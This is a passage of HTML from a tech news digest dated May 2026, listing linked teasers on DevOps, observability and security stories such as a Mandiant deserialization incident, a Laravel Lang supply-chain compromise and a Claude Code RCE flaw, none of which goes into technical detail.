          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-seven-rules-for-building-an-ai-native-software-factory"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Ewan Dawson is CTO of Compostable AI, where five engineers run an AI-native software factory: nineteen clients, custom AWS deployments, most of them shipped within a day of contract signing. This arti</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/seven-rules-ai-native-software-factory/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-upgrading-fedora-with-zabbix-and-ansible" class="group relative scroll-mt-24">
        <a href="#h3-upgrading-fedora-with-zabbix-and-ansible" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Upgrading Fedora with Zabbix and Ansible
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-upgrading-fedora-with-zabbix-and-ansible"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Fedora is a global open source project and Linux distribution that provides a platform for innovation and collaboration. Its infrastructure is managed by a dedicated team of professionals and voluntee</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/upgrading-fedora-with-zabbix-and-ansible/32915/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-route-claude-code-through-mlflow-ai-gateway" class="group relative scroll-mt-24">
        <a href="#h3-route-claude-code-through-mlflow-ai-gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Route Claude Code Through MLflow AI Gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-route-claude-code-through-mlflow-ai-gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to route Claude Code through MLflow AI Gateway to get full observability, budget controls, and guardrails across all your coding agent sessions, with no changes to how you use Claude Code.</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="https://mlflow.org/blog/gateway-claude-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whos-monitoring-the-agents" class="group relative scroll-mt-24">
        <a href="#h3-whos-monitoring-the-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Who’s monitoring the agents?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whos-monitoring-the-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Over the past few months, something quietly shifted. Frameworks like CrewAI, AutoGen, and LangGraph are no longer just showing up The post Who’s monitoring the agents? appeared first on The New Stack.</p>
<p><strong>📅 May 24, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/who-monitors-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-end-to-end-ingress-request-tracing-for-multi-tenant-saas-platforms" class="group relative scroll-mt-24">
        <a href="#h3-designing-end-to-end-ingress-request-tracing-for-multi-tenant-saas-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing end-to-end ingress request tracing for multi-tenant SaaS platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-end-to-end-ingress-request-tracing-for-multi-tenant-saas-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern SaaS platforms built on cloud‑native architectures frequently consist of dozens of independently deployed microservices. A single customer request entering the platform at the ingress layer may</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/22/designing-end-to-end-ingress-request-tracing-for-multi-tenant-saas-platforms/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-product-analytics-you-already-have" class="group relative scroll-mt-24">
        <a href="#h3-the-product-analytics-you-already-have" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The product analytics you already have
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-product-analytics-you-already-have"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your Sentry traces, logs, and metrics already answer most product analytics questions. Learn how to query existing telemetry for product insights.</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/product-analytics-you-already-have/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automate-root-cause-analysis-across-datadog-and-elasticsearch-with-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-automate-root-cause-analysis-across-datadog-and-elasticsearch-with-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automate root cause analysis across Datadog and Elasticsearch with AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automate-root-cause-analysis-across-datadog-and-elasticsearch-with-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern distributed systems route business transactions through dozens of microservices, message queues, and event streams. When a message fails to process or processing exceeds SLA thresholds, trouble</p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/automate-root-cause-analysis-across-datadog-and-elasticsearch-with-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-applying-opentelemetry-security-practices-in-legacy-environments" class="group relative scroll-mt-24">
        <a href="#h3-applying-opentelemetry-security-practices-in-legacy-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Applying OpenTelemetry Security Practices in Legacy Environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-applying-opentelemetry-security-practices-in-legacy-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTelemetry is gaining traction in manufacturing and other legacy environments as organizations explore modern observability approaches. However, applying these practices in traditional systems intr</p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/security-legacy-environments/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-exploitation-of-knowledgedeliver-via-viewstate-deserialization-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-exploitation-of-knowledgedeliver-via-viewstate-deserialization-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Exploitation of KnowledgeDeliver via ViewState Deserialization Vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-exploitation-of-knowledgedeliver-via-viewstate-deserialization-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek Introduction In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. Knowled</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-laravel-lang-supply-chain-advisory" class="group relative scroll-mt-24">
        <a href="#h3-laravel-lang-supply-chain-advisory" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Laravel Lang Supply Chain Advisory
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-laravel-lang-supply-chain-advisory"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hundreds of historical Laravel Lang Packagist releases were republished with malicious code, putting Composer installs at risk of credential theft and secret exfiltration.</p>
<p><strong>📅 May 23, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/laravel-lang-supply-chain-advisory/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-attackers-can-exploit-a-claude-code-rce-flaw-to-take-command-of-system" class="group relative scroll-mt-24">
        <a href="#h3-attackers-can-exploit-a-claude-code-rce-flaw-to-take-command-of-system" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Attackers Can Exploit a Claude Code RCE Flaw to Take Command of System
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-attackers-can-exploit-a-claude-code-rce-flaw-to-take-command-of-system"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A dangerous vulnerability found in Anthropic’s popular Claude Code developer model could have allowed bad actors to grab control of a victim’s system by luring them into clicking on a crafted maliciou</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/attackers-can-exploit-a-claude-code-rce-flaw-to-take-command-of-system/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-security-agent-adds-verification-scripts-for-pentest-findings" class="group relative scroll-mt-24">
        <a href="#h3-aws-security-agent-adds-verification-scripts-for-pentest-findings" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Security Agent adds verification scripts for pentest findings
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-security-agent-adds-verification-scripts-for-pentest-findings"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Security Agent now generates verification scripts for penetration test findings, enabling security teams to independently reproduce and validate discovered vulnerabilities. Previously, teams manua</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-security-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-modernizing-devops-security-with-intelligent-kyc-enforcement-layers" class="group relative scroll-mt-24">
        <a href="#h3-modernizing-devops-security-with-intelligent-kyc-enforcement-layers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Modernizing DevOps Security With Intelligent KYC Enforcement Layers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-modernizing-devops-security-with-intelligent-kyc-enforcement-layers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is where smart KYC enforcement layers fit in — not a compliance box, but an engineering control that is directly part of DevOps processes.</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/modernizing-devops-security-with-intelligent-kyc-enforcement-layers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-teamcity-2025115-is-out" class="group relative scroll-mt-24">
        <a href="#h3-teamcity-2025115-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TeamCity 2025.11.5 Is Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teamcity-2025115-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our (most likely) final update for TeamCity 2025.11 On-Premises servers has just been released. This updage addresses a tiny amount of issues, but includes four security problem fixes, so we recommend</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/teamcity/2026/05/teamcity-2025-11-5-bug-fix/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-snyk-announces-anthropic-updates-evo-integrates-with-claude-enterprise-and-snyk-desk-comes-to-claude-desktop" class="group relative scroll-mt-24">
        <a href="#h3-snyk-announces-anthropic-updates-evo-integrates-with-claude-enterprise-and-snyk-desk-comes-to-claude-desktop" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Snyk announces Anthropic updates: Evo integrates with Claude Enterprise, and Snyk Desk comes to Claude Desktop
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-snyk-announces-anthropic-updates-evo-integrates-with-claude-enterprise-and-snyk-desk-comes-to-claude-desktop"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snyk announces two new integrations with Anthropic that cover both sides of AI-assisted development. Evo by Snyk now integrates with Anthropic&#39;s Claude Enterprise, and the Snyk Security Desktop Extens</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/claude-enterprise-integration-desktop-expansion/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-claude-compliance-api-support-with-cloudflare-casb" class="group relative scroll-mt-24">
        <a href="#h3-announcing-claude-compliance-api-support-with-cloudflare-casb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Claude Compliance API support with Cloudflare CASB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-claude-compliance-api-support-with-cloudflare-casb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare now integrates with the Claude Compliance API, so that security teams can monitor Claude Enterprise activity directly in the Cloudflare Dashboard.</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/casb-anthropic-integration/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pintheft-linux-kernel-vulnerability-mitigation" class="group relative scroll-mt-24">
        <a href="#h3-pintheft-linux-kernel-vulnerability-mitigation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PinTheft Linux kernel vulnerability mitigation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pintheft-linux-kernel-vulnerability-mitigation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A local privilege escalation (LPE) security vulnerability in the Linux kernel, codename “PinTheft,” was publicly disclosed on May 19, 2026. The vulnerability was fixed in the mainline Linux kernel tre</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/pintheft-linux-kernel-vulnerability-mitigation"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-the-ai-revolution-how-snyk-and-our-partners-are-scaling-for-the-future" class="group relative scroll-mt-24">
        <a href="#h3-securing-the-ai-revolution-how-snyk-and-our-partners-are-scaling-for-the-future" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing The AI Revolution: How Snyk And Our Partners Are Scaling For The Future
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-the-ai-revolution-how-snyk-and-our-partners-are-scaling-for-the-future"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is accelerating code creation. Learn how Snyk is scaling its AI Security Platform and investing in new partner programs to help enterprises govern AI-generated code at scale.</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/securing-ai-revolution-snyk-partners/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitea-1262-is-released" class="group relative scroll-mt-24">
        <a href="#h3-gitea-1262-is-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gitea 1.26.2 is released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitea-1262-is-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
